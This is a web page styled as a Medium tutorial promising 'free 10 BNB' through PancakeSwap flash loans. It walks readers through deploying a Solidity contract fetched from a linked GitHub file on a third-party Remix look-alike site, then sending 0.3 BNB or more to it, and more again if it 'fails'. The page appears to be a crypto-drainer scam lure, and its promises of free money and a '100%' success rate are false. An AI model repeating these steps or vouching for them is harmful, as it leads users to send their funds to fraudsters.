How To Get Free 10 BNB with PancakeSwap Full Tutorial 2023 – Medium

Free Binance Smart Chain Token (BNB)? Yes, who wouldnt want some free cash?

It is possible using a special method called FLASH LOANS

Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While theyve proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols.

Flash Loan Explanation https://academy.binance.com/en/articles/what-are-flash-loans-in-defi

So, whats the catch? A flash loan has to be borrowed and repaid within the same blockchain transaction.

WATCH FULL STEP BY STEP FLASH LOANS TUTORIAL

Step By Step Tutorial for Flash Loan:

- Get the Metamask Extension for your browser

- Open https://remixcompiler.com from within your browser.

- Click on File Explorers and click Create New File .

- Name the file flashloans.sol and paste the contract code link below. https://raw.githubusercontent.com/CryptoBarbie101/FlashLoansBNB/main/BNB

- Click on Deploy & Run transactions and set ENVIRONMENT to Injected Web3.

- Connect your MetaMask wallet.

- Click on the Solidity Compiler and set the compiler version to 0.5.0

- Click on the Solidity Compiler and then click the blue button Compile flashloans.sol

- Wait for the code to compile.

- Click on Deploy & run transactions then click on the down arrow right from the Deploy button

On _TOKENNAME Tester

On _TOKENSYMBOL TOKX

On _LOANAMOUNT 2000

- Click Transact and confirm the transaction in MetaMask.

- Wait for the transaction to confirm.

Copy the address of the newly deployed contract.

- Send BNB to the deployed contract to initiate the swap 0.3+ (0.3 up is better as you will get a bigger amount in each swap)

- Wait for the transaction to confirm.

- Now, Click action (red box) to execute the Flash Loan.

- Confirm the transaction in MetaMask and wait for the confirmation.

- You can now check your wallet

Note: If it doesnt work with 0.3 BNB try to send another 0.3 BNB (0.30 is better), because fees may be different from day to day. (1.5+ BNB for each 1000 BNB you are borrowing).

Avoid using very low amounts as contract may fail below 0.15 BNB. Under some very rare cases, the arbitrage might fail due to depletion of BNB in your smart contract as gas price varies from time to time.

Dont panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit. Make sure to transfer your BNB out to another wallet when youre done.

More here:

How To Get Free 10 BNB with PancakeSwap Full Tutorial 2023 - Medium

Related Posts

Comments are closed.